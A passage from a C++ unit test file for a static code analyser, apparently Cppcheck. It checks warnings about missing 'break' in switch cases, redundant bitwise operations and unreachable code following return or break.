= 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", 